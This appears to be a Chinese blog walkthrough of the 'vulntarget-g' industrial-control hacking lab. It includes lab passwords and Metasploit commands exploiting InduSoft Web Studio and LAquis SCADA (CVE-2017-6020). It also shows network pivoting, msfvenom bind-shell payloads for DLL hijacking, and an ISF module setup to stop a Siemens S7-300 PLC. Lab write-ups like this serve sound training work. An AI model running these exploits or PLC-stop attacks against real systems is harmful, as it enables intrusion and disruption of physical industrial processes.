zl程序教程

您现在的位置是:首页 >  其他

当前栏目

vulntarget-g

2023-03-07 09:02:32 时间

机器密码: winxp_HMI:vuln/Admin@123. winxp_ZJQ:winxp:winXP_ZIJINQIAO 账号1:Administrator密码1:#xYpo3;W6aS 账号2:vulntarget密码2:#xYpo3;W6aS win7_ForceControl:win7/admin win7_S7-Client:tegratnluv/Vu1Nt@rG3t9Gg win7_S7-Server:Vu1NT4r93t/welcometoICS 拓扑图:

准备工作

这里就按拓朴图中的来修改VMnet的配置,并恢复快照至初始状态,若还有问题可以跟着搭建文档来一遍

信息收集

扫描存活主机和端口,发现开放了80、135、139、445、1234、4322端口

访问80端口报404,如下:

访问1234端口没反应,再访问4322端口还是没反应,毫无思路,这就是工控吗.jpg

1234端口可能对应LAquis的服务,但是这个服务存在web页面,访问并没有存在web页面 4322端口可能运行 InduSoft Web Studio 的嵌入式HMI软件,存在msf模块可以直接exp,这里我们导入模块,并使用配置好msf攻击模块

漏洞利用

InduSoft Web Studio RCE

我们直接利用msf来打这个嵌入式HMI软件-InduSoft Web Studio RCE漏洞(一个2011年的工控CVE漏洞)但是第一次没打成功,直接整懵逼了?

后面把浏览器关闭访问,再执行一次发现可以了但是不会反弹shell(人麻了,这是为什么?

use exploit/windows/scada/indusoft_webstudio_exec
set rhost 192.168.150.144
run

最后无脑恢复快照,再尝试几次后突然就又行了?

发现192.168.90.40的网卡,于是先上传frp建立代理,发现这是32位的没法用,问问AI它告诉我frp没有32位的?

meterpreter > upload /root/web/frpc.exe
meterpreter > upload /root/web/frpc.ini
meterpreter > execute -f frpc.exe -c ./frpc.ini &
[-] stdapi_sys_process_execute: Operation failed: is not a valid Win32 application.

所以直接msf添加路由以及sock代理

run get_local_subnets
run autoroute -s 192.168.90.0/24
run autoroute -p
use auxiliary/server/socks_proxy
# set srvport 2022
run

再给kali设置代理

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

接着扫描一些常见端口,可以发现存活主机192.168.90.110开放了135、139、445端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.90.0/24
set ports 22,23,80,135,139,445,1433,3306,3389,8080
run

再使用这个模块来探测,指定该IP扫一下端口发现开放了1234、1235、3389端口

CVE-2017-6020

访问1234端口发现存在LAquis服务,而1235端口无法访问,因此我们就只能将1234端口作为突破口

搜索相关漏洞可以发现存在任意文件读取漏洞可利用

LAquis SCADA是巴西LCDS公司的一套SCADA(数据采集与监视控制)系统。该系统主要用于对设备进行数据采集和过程控制。4.1.0.4150之前版本的LCDS Laquis SCADA 允许通过打开特制的报告格式文件(.lgx)来执行脚本代码。这可能导致代码执行、数据泄露或系统崩溃

msf如果没有可以先去下载一下漏洞利用脚本并将其放入/usr/share/metasploit-framework/modules/exploits/windows/scada/路径下,便于归类和查找(文件名可以随意修改

打开msf输入如下命令即可

reload_all

参数说明: DEPTH 到达基本目录的级别,(也就是有多少个../),如果安装时未更改路径,默认就是向上跳转10级。如果更改路径漏洞利用不成功,可以根据实际情况调整此参数。 FILE 这是要下载的文件,与上面的DEPTH参数结合组成完整的文件路径。 Proxies 端口[,类型:主机:端口] […]的代理链 RHOSTS 目标主机,范围CIDR标识符或具有语法’file:‘的主机文件 RPORT 目标端口(TCP),软件默认安装是1234,不排除更改的可能。 SSL 协商出站连接的SSL / TLS VHOST HTTP服务器虚拟主机

这里我们只需要修改file和rhost这两个参数即可(其中file文件路径可在之前的session中桌面的工作日记.md(前面msf中也下不了这个中文文件,不过可以传个?用蚁剑或者cs连上下载文件)中找到关键信息位于C:\document\information.txt

use exploit/windows/scada/LAquis_cve_2017_6020
set file document/information.txt
set rhosts 192.168.90.110

run一下即可得到文件

查看发现kali中会乱码,应该是编码问题,拖到Windows下就正常了,得到了一些主机的账密

这里的主机1应该就是前面打的那个奇怪的嵌入式HMI软件-InduSoft Web Studio的机子,而主机2应该就是现在打的这台,尝试3389成功进入,并且发现还存在192.168.95.66的网卡

CNVD-2020-31508

在桌面还发现有个ProgMan的软件,找到文件位置可以看到他的版本信息是6.5,是个紫金桥的工程管理器

搜一下相关漏洞发现有DLL劫持漏洞(一开始搜ProgMan没找到?

准备工作:上传procexp.exe(现在的v17版本在winxp中用不了,可以去其他站点下载低版本的就支持winxp)与dllinject.exe(同样需要去其他站点下个老版本的才能用)文件,上传文件需要换成Windows下rdp进行传输,并按照下图配置后连接rdp即可成功复制粘贴进去

接着寻找可劫持进程ProgMan.exe的dll,利用msf基于dll劫持实现提权

1.开启进程ProgMan.exe,用procexp.exe查看进程加载的dll

2.与注册表项进行对比

3.利用msfvenom指令创建反弹shell的dll文件,使用正向连接并将其上传

msfvenom -p windows/meterpreter/bind_tcp LPORT=1234 -f dll > ws2help.dll

4.利用msf中的handler模块开启监听

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 192.168.90.110
set lport 1234

5.利用DllInject.exe将ws2help.dll注入到进程

6.注入后msf成功上线,但是我这里尝试了一波都没反应的?在procexp中查看发现已经注入了呀

后面说是重启一下靶机就可以成功上线实现提权(不过我一直没成功?

IDA动态调试力控软件

前面我们还有个主机3的账密没用到,于是我们就再扫一下发现存活两台主机192.168.95.100和192.168.95.110

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.95.0/24
set ports 22,23,80,135,139,445,1433,3306,3389,8080

尝试一下可知主机3是192.168.95.110

并且根据前面得到的提示我们需要在力控软件中找到密码

终于来到这里了,可是却没有得到主机4的账户密码,但是根据可靠消息得知,主机4的账户、密码可能在力控软件的用户信息里,你能找到他吗?

接着在功能 - 用户管理中找到个系统管理员级的用户tegratnluv,但是密码看不了

不过这里有修改功能,我们可以通过修改密码在后面加个test保存然后IDA动态调试找到密码对应的hex(需要以管理员打开IDA,不然后面调试不了该进程)

接着调试进程,点击Debugger - Attach - Local Windows debugger选择指定进程如下:

然后按alt+b调出搜索,搜索对应的hex即可(这里需要注意要改个不常见的字符串,不然像我这test有一堆?

不过第一个就成功找到密码:Vu1Nt@rG3t9Gg

西门子S7-300启停攻击

根据前面得到的账密成功连接rdp,发现开着个S7COMM的客户端模拟器,确定是上位机(没开防火墙

并发现还存在网卡172.16.1.37

于是我们用msf做个正向马并上传

msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe > test.exe

开启监听成功上线

use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set rhost 192.168.95.100
set lport 4444

接着找到下位机的主机172.16.1.3

再设置一下自动路由

run post/multi/manage/autoroute

接下来的操作就不是很懂了,这个不是可以直接点stop停止吗?

这里我们在上位机中可以看到S7的服务端正在运行,我们的目的就是要把下位机打停机

然后使用ISF来进行攻击,已知这时S7-300的模拟器,ISF中存在这一型号的利用模块可以直接利用,ISF的工程项目,输入如下命令即可成功让其停止工作

python2 isf.py
use exploits/plcs/siemens/s7_300_400_plc_control
set target 172.16.1.3